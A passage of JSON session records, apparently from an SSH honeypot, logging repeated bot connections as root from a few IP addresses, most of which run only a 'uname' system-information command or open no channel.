  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T23:16:53.462846+00:00",
  "ended_at": "2026-08-25T23:16:55.474269+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "6f85ae6c-2c47-4f3b-956e-69c00d575e7c",
  "name": "eager-blazing-ouzel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 52238,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 449,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T23:12:31.535942+00:00",
  "ended_at": "2026-08-25T23:12:33.169566+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "8ee7a36b-552f-4cf0-95bf-f2cab01cfbad",
  "name": "shaded-idle-ouzel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 59500,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 449,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T23:10:33.249532+00:00",
  "ended_at": "2026-08-25T23:10:34.925466+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "91350c07-831c-4aa5-92a0-39aef5093b10",
  "name": "cosmic-snowy-badger",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 40336,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 446,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T23:08:36.359447+00:00",
  "ended_at": "2026-08-25T23:08:37.602469+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "ff925ba7-4d21-4d57-9d7d-546761d6792f",
  "name": "candid-rustic-ibis",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 54676,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 451,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T23:07:51.082994+00:00",
  "ended_at": "2026-08-25T23:07:53.270328+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "ae961457-9065-4d1f-82e5-b4a51c976552",
  "name": "leafy-dewy-redstart",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 59462,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 463,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T23:07:25.505641+00:00",
  "ended_at": "2026-08-25T23:07:26.904018+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "bd1f5e69-ce1c-4925-9978-4da717773075",
  "name": "supple-cheerful-moose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.31",
  "src_port": 24932,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T23:05:04.418609+00:00",
  "ended_at": "2026-08-25T23:05:05.593119+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "12840149-748b-412b-a4d6-3778b59c2cbf",
  "name": "sleepy-stoic-lemur",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "93.127.194.37",
  "src_port": 49758,
  "username": "root",
  "client_version": "SSH-2.0-paramiko_3.5.1",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T23:04:00.086156+00:00",
  "ended_at": "2026-08-25T23:04:59.108199+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "169b1101-036c-47de-9901-1795b27bf0a8",
  "name": "zealous-cunning-zebu",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "93.127.194.37",
  "src_port": 49748,
  "username": "root",
  "client_version": "SSH-2.0-paramiko_3.5.1",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T23:03:58.531450+00:00",
  "ended_at": "2026-08-25T23:03:59.021032+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "49fd3e05-61bf-4bc7-af5f-6a96a2955e98",
  "name": "burly-peaty-woodchuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 55392,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 452,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T23:03:53.236535+00:00",
  "ended_at": "2026-08-25T23:03:54.489748+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "733292b1-8f5c-4a0b-aebd-4cc5b7fdc38e",
  "name": "marine-tawny-lapwing",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "93.127.194.37",
  "src_port": 34848,
  "username": "root",
  "client_version": "SSH-2.0-paramiko_3.5.1",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T23:03:53.101161+00:00",
  "ended_at": "2026-08-25T23:04:52.066209+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6000c2b6-70c6-488d-aba4-bb4831265e2d",
  "name": "restless-gilded-wolverine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "93.127.194.37",
  "src_port": 34846,
  "username": "root",
  "client_version": "SSH-2.0-paramiko_3.5.1",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T23:03:51.511841+00:00",
  "ended_at": "2026-08-25T23:03:51.897035+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "142b2f50-caa1-4636-9d3b-78ca651e4093",
  "name": "dappled-upland-squirrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "93.127.194.37",
  "src_port": 50600,
  "username": "root",
  "client_version": "SSH-2.0-paramiko_3.5.1",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T23:03:16.995499+00:00",
  "ended_at": "2026-08-25T23:04:15.953121+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "64a5e2e0-ae89-4e7b-b364-9dce20ecf33a",
  "name": "steady-sandy-meerkat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "93.127.194.37",
  "src_port": 55580,
  "username": "root",
  "client_version": "SSH-2.0-paramiko_3.5.1",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T23:03:15.462261+00:00",
  "ended_at": "2026-08-25T23:03:15.853742+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7c507bec-bf13-4764-9404-61a8aeb727a4",
  "name": "orderly-quaint-martin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "93.127.194.37",
  "src_port": 55566,
  "username": "root",
  "client_version": "SSH-2.0-paramiko_3.5.1",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T23:03:10.515759+00:00",
  "ended_at": "2026-08-25T23:04:09.483796+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "180442a2-d553-4549-a0a6-c00c28b99b4a",
  "name": "quartz-hearty-fieldfare",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "93.127.194.37",
  "src_port": 55562,
  "username": "root",
  "client_version": "SSH-2.0-paramiko_3.5.1",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T23:03:08.769345+00:00",
  "ended_at": "2026-08-25T23:03:09.326029+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "06e2cd89-6cf9-4fb5-9e39-db75eb29b842",
  "name": "sullen-crimson-eider",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 39346,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 451,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T23:03:07.907067+00:00",
  "ended_at": "2026-08-25T23:03:09.384906+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "76d14686-e95c-4f9b-9bb2-3931019ff9d3",
  "name": "fickle-gentle-hyrax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 56146,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 449,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T23:02:42.821463+00:00",
  "ended_at": "2026-08-25T23:02:44.628803+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "0134d408-a1dd-4dac-99ce-a4d3e942fc20",
  "name": "icy-orderly-cougar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "93.127.194.37",
  "src_port": 49114,
  "username": "root",
  "client_version": "SSH-2.0-paramiko_3.5.1",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T23:02:34.018454+00:00",
  "ended_at": "2026-08-25T23:03:33.041665+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a54f7ada-31d5-4168-b56f-3ddf2eb3df4d",
  "name": "sandy-calm-springbok",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "93.127.194.37",
  "src_port": 49098,
  "username": "root",
  "client_version": "SSH-2.0-paramiko_3.5.1",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T23:02:32.374666+00:00",
  "ended_at": "2026-08-25T23:02:32.954101+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "057d5dd0-da1a-4d1d-95e7-fcacda6aa192",
  "name": "clever-dusty-crossbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "93.127.194.37",
  "src_port": 49078,
  "username": "root",
  "client_version": "SSH-2.0-paramiko_3.5.1",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T23:02:27.499602+00:00",
  "ended_at": "2026-08-25T23:03:26.471639+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "003ead02-6ea1-4ff3-aff9-a7fbb116c335",
  "name": "pristine-leafy-hummingbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "93.127.194.37",
  "src_port": 33288,
  "username": "root",
  "client_version": "SSH-2.0-paramiko_3.5.1",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T23:02:25.827074+00:00",
  "ended_at": "2026-08-25T23:02:26.376173+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fddc5223-0013-48fe-958e-663900614d54",
  "name": "solemn-rambling-teal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 57788,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 453,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T23:00:45.587392+00:00",
  "ended_at": "2026-08-25T23:00:47.145456+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "c9f2a910-903e-4c13-b4b5-9cf03e1261a6",
  "name": "thorny-plush-nuthatch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 56498,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 450,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T22:58:47.893711+00:00",
  "ended_at": "2026-08-25T22:58:49.435843+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "184dae14-0953-48f9-900e-1ad58f770beb",
  "name": "muted-candid-francolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 60656,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 451,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T22:54:29.233103+00:00",
  "ended_at": "2026-08-25T22:54:30.727557+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "dc61c859-19b1-4194-94fb-e09df5e5fa40",
  "name": "cheerful-wooded-onager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 58414,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 452,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T22:54:08.770461+00:00",
  "ended_at": "2026-08-25T22:54:09.945409+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "6736e623-32fe-49dd-b69a-ef9841b25099",
  "name": "glassy-nautical-toucan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 51364,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 449,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T22:52:30.158660+00:00",
  "ended_at": "2026-08-25T22:52:32.010479+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "b0ad22ce-a782-4f37-ac82-d13805892a97",
  "name": "patient-regal-plover",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 55876,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 453,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T22:49:45.675115+00:00",
  "ended_at": "2026-08-25T22:49:46.916405+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "e04cd55c-2956-447f-a348-27a16874c4f0",
  "name": "wry-woven-salmon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 50768,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 450,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T22:47:24.409267+00:00",
  "ended_at": "2026-08-25T22:47:25.490334+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "1d4505f1-ae7b-4653-8fb3-e8e7c7c429a7",
  "name": "velvet-lawful-goose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 39992,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 449,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T22:43:52.336809+00:00",
  "ended_at": "2026-08-25T22:43:54.557723+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "207272d3-5843-4ba3-a8cc-7e201363f851",
  "name": "sooty-peaty-mole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 39816,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 451,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T22:37:56.573361+00:00",
  "ended_at": "2026-08-25T22:37:58.098106+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "f8b99659-8fdd-4b9a-a44f-2afc68c7ad8d",
  "name": "thrifty-canny-boar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 59960,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 451,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T22:37:13.638948+00:00",
  "ended_at": "2026-08-25T22:37:15.788940+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "22406936-4871-4056-812d-b79b1c9f1259",
  "name": "whispering-stormy-hoopoe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 56830,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 451,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T22:36:00.038135+00:00",
  "ended_at": "2026-08-25T22:36:01.509739+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "924ea7a3-ea29-4ba4-927d-214c9ff8fb50",
  "name": "dusty-tawny-anteater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 55994,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 449,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T22:34:06.482757+00:00",
  "ended_at": "2026-08-25T22:34:07.671595+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "1be70e1d-98ac-47db-b496-9ea41a056881",
  "name": "flinty-marine-wren",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 40550,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 450,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T22:32:52.166935+00:00",
  "ended_at": "2026-08-25T22:32:53.370704+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "9dff8ee0-5675-48b1-94bb-7b9171aea0eb",
  "name": "tender-amiable-chamois",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 41856,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 446,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T22:31:40.613573+00:00",
  "ended_at": "2026-08-25T22:31:41.715534+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "07650efb-1630-4fe1-90b0-49d6eee9e957",
  "name": "scarlet-regal-heron",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 60886,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 452,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T22:30:08.426826+00:00",
  "ended_at": "2026-08-25T22:30:10.534833+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "dced8a57-a7a0-473e-a13e-5c1730e0941b",
  "name": "fleeting-ruddy-dingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 53074,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 451,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T22:29:19.757740+00:00",
  "ended_at": "2026-08-25T22:29:21.444017+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "a5a78cd3-abd9-4c63-aa1c-7753f8a571ae",
  "name": "hushed-ivory-bullfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 51678,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 452,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T22:28:09.742908+00:00",
  "ended_at": "2026-08-25T22:28:11.806653+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "a021f4a2-a7c5-4340-89e6-1e952433f813",
  "name": "emerald-supple-vole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 55476,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 449,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T22:26:34.428169+00:00",
  "ended_at": "2026-08-25T22:26:35.727058+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "714d1e77-8f74-4da6-b643-e5968420d854",
  "name": "hazel-fearless-petrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 41030,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 449,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T22:25:47.417706+00:00",
  "ended_at": "2026-08-25T22:25:49.053257+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "6e97a013-1b24-4bac-8dd8-ab3897aa8959",
  "name": "polar-painted-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 45684,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 449,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T22:24:37.697084+00:00",
  "ended_at": "2026-08-25T22:24:39.207885+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "1b024e74-7acf-4960-887f-170b3cc1b22c",
  "name": "crimson-mindful-llama",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 34150,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 450,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T22:21:53.130947+00:00",
  "ended_at": "2026-08-25T22:21:55.457181+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "b4fca60b-71e9-4689-ad27-7ae3195b23b2",
  "name": "gallant-merry-hedgehog",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 35572,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 448,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T22:19:53.307124+00:00",
  "ended_at": "2026-08-25T22:19:55.580718+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "5081d3e7-dbb4-49be-839d-883556530523",
  "name": "alpine-restless-puffin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 44926,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 451,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T22:18:41.134038+00:00",
  "ended_at": "2026-08-25T22:18:43.210167+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "4950acf3-c047-4cc1-bb5b-9be42c239bd7",
  "name": "kindly-pristine-goose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 42476,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 456,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T22:17:31.072714+00:00",
  "ended_at": "2026-08-25T22:17:32.799035+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "20ec1718-f3b1-4a39-9b26-a333dcb109b1",
  "name": "earnest-sunlit-hare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 39066,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 452,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T22:16:45.204006+00:00",
  "ended_at": "2026-08-25T22:16:46.237761+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "c890048d-fe81-4d69-8af3-f6bcafc26966",
  "name": "flinty-restless-ermine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 46922,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 453,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T22:16:19.146394+00:00",
  "ended_at": "2026-08-25T22:16:20.610947+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "18f2163f-b021-4a5f-920d-06fa231b1d0a",
  "name": "dusty-somber-camel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 45500,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 447,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T22:15:32.386440+00:00",
  "ended_at": "2026-08-25T22:15:34.702113+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "8c61c92f-d795-4d00-ae8f-97d4b601076a",
  "name": "dewy-proud-elk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 55348,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 454,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T22:14:46.191994+00:00",
  "ended_at": "2026-08-25T22:14:48.404023+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "ee7bf61f-f523-4697-aae2-a6c247d4ac1b",
  "name": "chilly-brazen-wagtail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 39732,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 446,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T22:13:58.392291+00:00",
  "ended_at": "2026-08-25T22:13:59.935320+00:00",
  "ended_reason": "exec complete",
